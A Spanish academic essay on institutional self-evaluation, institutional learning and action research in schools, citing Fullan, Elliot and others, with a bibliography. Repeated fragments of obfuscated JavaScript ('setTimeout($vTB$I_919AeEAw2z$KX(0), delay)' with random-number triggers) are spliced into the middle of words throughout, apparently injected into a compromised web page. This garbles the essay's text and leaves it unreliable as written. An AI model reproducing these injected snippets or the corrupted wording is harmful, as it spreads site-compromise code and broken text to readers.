APORTACIONES DE LA AUTOEVALUACIÓN INSTITUCIONAL AL DESARROLLO PROFESIONAL DE LOS DOCENTES Y DE LAS INSTITUCIONES EDUCATIVAS.

Autora: Mª Teresa Vivas Martín

El término educación ha estado, está y estará presente a lo largo de toda la vida, pero su concepción antes no era la misma de ahora y ahora no será la misma del mañana. La educación eees flexible, diversa y sufre cambios en el tiempo y en el espacio. Pero debemos estar preparados y ser conscientes de dichos cambios y la forma más eficaz de tratarlos  es con la autoevaluación y donde el aprendizaje institucional es la clave para ello. La escuela enseña pero también aprende y lo hace de una determinada forma dentro de su organización. Uno de los factores claves causante de la evolución educativa es la autoevaluación que no es otra cosa que una forma de investigar todos los componentes del centro para hacer frente a los cambios y así hacer posible un mejor desarrollo de la escuela.

Se define a  aprendizaje institucional como  un proceso de aprendizaje colectivo y crítico en el que todos debemos participar. Analizandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el artículo de Fullan (2002) hacemos las siguientes conclusiones. La elaboración de un curriculum, que se adapta a las condiciones del centro, nos ayuda a saber los métodos contenidos y evaluaciones. Según Ángel Lorente (2006) “En los centros de secundaria la planificación y el desarrollo del currículo es responsabilidad de los departamentos didácticos y de los profesores que los componen como unidad intermedia entre el centro y el aula. Esta labor no es una cuestión puramente técnica, sino que es un asunto cultural ligado por un lado a la negociación y a la construcción de nuevos significados en el seno de los propios departamentos y, por otro, a las complejas interacciones entre nuevos modos de pensar y hacer y los modos históricamente instalados en la tradición cultural y organizativa de las escuelas secundarias (caracterizadas desde sus orígenes decimonónicos por escolarizar a un alumnado de enseñanza no obligatoria).”  Pero si solo nos ceñimos a este curriculum ¿cómo aprende la escuela? El curriculum va dirigido al alumno por ello necesitamos algo más para llevar a cabo el fenómeno de aprendizaje de la propia escuela.

Pero el dilema es qué, cómo y porqué debe aprender la escuela. Lo más razonable sería elaborar un documento paralelo al curriculum del centro al que llamaremos metacurriculum en el que se recogerán los aprendizajes que todos los actores del centro deben llevar a cabo y no de de forma aislada, sino en conjunto para que se le pueda dar el nombre de comunidad educativa, la escuela es una institución, por lo que tiene que aprender.

Hay muchas maneras de ver la escuela como tal, pero la más expandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andida es la idea de escuela que enseña y no que aprende y esta idea hace que desaparezcan muchas preguntas que pueden hacer que el centro educativo mejore, como por ejemplo: alumnos que enseñen a los profesores o que los profesores aprendan juntos.

Estamos entonces ante una escuela que no quiere aprender y si el aprendizaje viene impuesto desde fuera el hecho de aprender se llevará con más odio y rechazo.

Será entonces el equipo de actores del cuerpo docente quien elabore las preguntas, debatan y juntos vean la necesidad que la escuela tiene de aprender para no fracasar y a la vez mejorar.

Deben ser partícipes tanto profesores, alumnos y la propia sociedad, ya que la escuela nos importa a todos y por lo tanto todos debemos afrontar y mejorar los posibles cambios que se originen en ella.

Es evidente que el sistema educativo ha cambiado a lo largo de los años y que seguirá así. El cambio no es algo que se impone, sino que es algo que surge, es una alarma dentro de la escuela que nos avisa de que algo está pasandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando. Los actores e instituciones deben encontrar el propósito moral para llevar a cabo dicha tarea del cambio, buscándole sus propios significados. Primeramente deberíamos darnos cuenta de que existe la posibilidad de un cambio en el centro educativo y una vez hecho esto hay que ser consecuentes con dicha tarea, es decir, debemos de ser conscientes de lo que puede venir, y crear un aprendizaje tanto externo como interno para así crear un ámbito coherente en el centro educativo entre el individuo y el grupo. El aprendizaje interno depende de nosotros mismos y no del sistema mientras que el sistema mueve el aprendizaje externo. Todos necesitamos un empuje externo para llevar a cabo los conocimientos e inquietudes dentro del centro educativo pero como dice Fullan, “¿por qué merece la pena luchar”.

Debemos ser capaces de luchar a pesar del sistema (ejemplo claro de Fullan sobre los directores en los centros).No podemos esperar a que el sistema actúe, de ahí la idea de la teoría del caos de que el cambio no es lineal y cualquier variable, por muy minima que pueda ser, puede cambiar el funcionamiento de todo. Los sistemas no funcionan como deberían, por lo que debemos aplicar la idea de autonomía para aprender y así que el cambio no nos coja desprevenidos.

La autoevaluación es un proceso de reflexión de todo lo que hemos llevado a cabo a fin de comprender y explicar el nivel que ha alcanzado el centro educativo para poder, así, emitir juicios y poder tomar decisiones que puedan solventar errores dentro de la comunidad educativa y mejorar la calidad de esta. La autoevaluación se hace con el fin de evaluar a la propia escuela y así poner de manifiesto los errores que en ella se puedan estar originandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando o  resaltar las grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes “hazañas” que en ella se originen. En el proceso de autoevaluación no se sacan solo conclusiones negativas sino se realzan también las que hacen que el centro sea un “buen” centro. Pero ¿es del agrado de los profesores ser evaluados para así poder cuestionar su trabajo? La autoevaluación debe hacerse dentro de la escuela pero no dejan de hacerse las preguntas pertinentes de por qué, cómo y por quién. Este método puede ser el más fiable para entender en cambio. Este metódo es más fiable que la información proporcionada por el currículum. Es fundamental la colaboración de todos los actores que forman el equipo educativo para que todo pueda ser consensuado y llevado a cabo sin ningún malentendido.

Para terminar, es evidente que el avance tecnológico nos está llevandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a una educación distinta la cual debe ser reciclada para saber enseñar las nuevas metas que la vida nos va poniendo. Es obvio que la escuela está sometida al cambio desde muchos puntos de vista. Como ya hemos dicho, los avances científicos y tecnológicos están haciendo que la manera de enseñar cambie y ya no solo la manera de enseñar sino los recursos que tenemos para ello. De ahí el término empleado por varios escritores como Kurt Lewin.

“La investigación acción”. Según Esperanza Bausela Herreras ,Becaria de investigación de la Universidad de León, el el término investigación acción es “una forma de entender la enseñanza, no sólo de investigar sobre ella. La investigación – acción supone entender la enseñanza como un proceso de investigación, un proceso de continua búsqueda.

Conlleva entender el oficio docente, integrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la reflexión y el trabajo intelectual en el análisis de las experiencias que se realizan, como un elemento esencial de lo que constituye la propia actividad educativa.”

Los problemas guían la acción, pero lo fundamental en la investigación – acción es la exploración reflexiva que el profesional hace de su practica, no tanto por su contribución a la resolución de problemas, como por su capacidad para que cada profesional reflexione sobre su propia práctica, la planifique y sea capaz de introducir mejoras progresivas. En general, la investigación – acción cooperativa constituye una vía de reflexiones sistemática sobre la práctica con el fin de optimizar los procesos de enseñanza – aprendizaje. Elliot (1993) es el principal representante de esta teoría de investigación acción, y defiende que lo más importante es que el profesor sea consciente del problema (cambio) y lleve a cabo una serie de investigaciones (autoevaluación) con la ayuda de todo el grupo de actores que forman parte de dicho centro educativo y por lo tanto pueden aportar mejoras desde sus propias experiencias e ideas. Por ello los tres conceptos clave que estamos abordandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a lo largo de este ensayo: aprendizaje institucional, autoevaluación  y cambio coinciden en que ninguno se puede dar si no se da el otro y que todos necesitan el apoyo y participación de  todo el grupo de personas que en el delegan ya sean alumnos, profesores, padres, etc.

Bibliografía:

Adelman, C. & Alexandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander, R. (1982). The Self Evaluating Institution (Practice &

Principles in the management of educational change). London, Methuen & Co.

Beltrán, F. y San Martín, A.(1993). “La organización escolar: ¿evaluación o

devaluación?”, Cuadernos de Pedagogía, nº 219, pp.16-21.

Beltrán, F. y San Martín, A.(1996). “¿Autoevaluación Institucional?”, Cuadernos de

Pedagogía, nº 244, pp.80-85.

Blanco García, N. (2010). “La investigación en el ámbito del currículo y como método

para su desarrollo” en J. Gimeno Sacristán (Comp.). Saberes e incertidumbres sobre el

currículum. Madrid, Morata, págs. 569-587.

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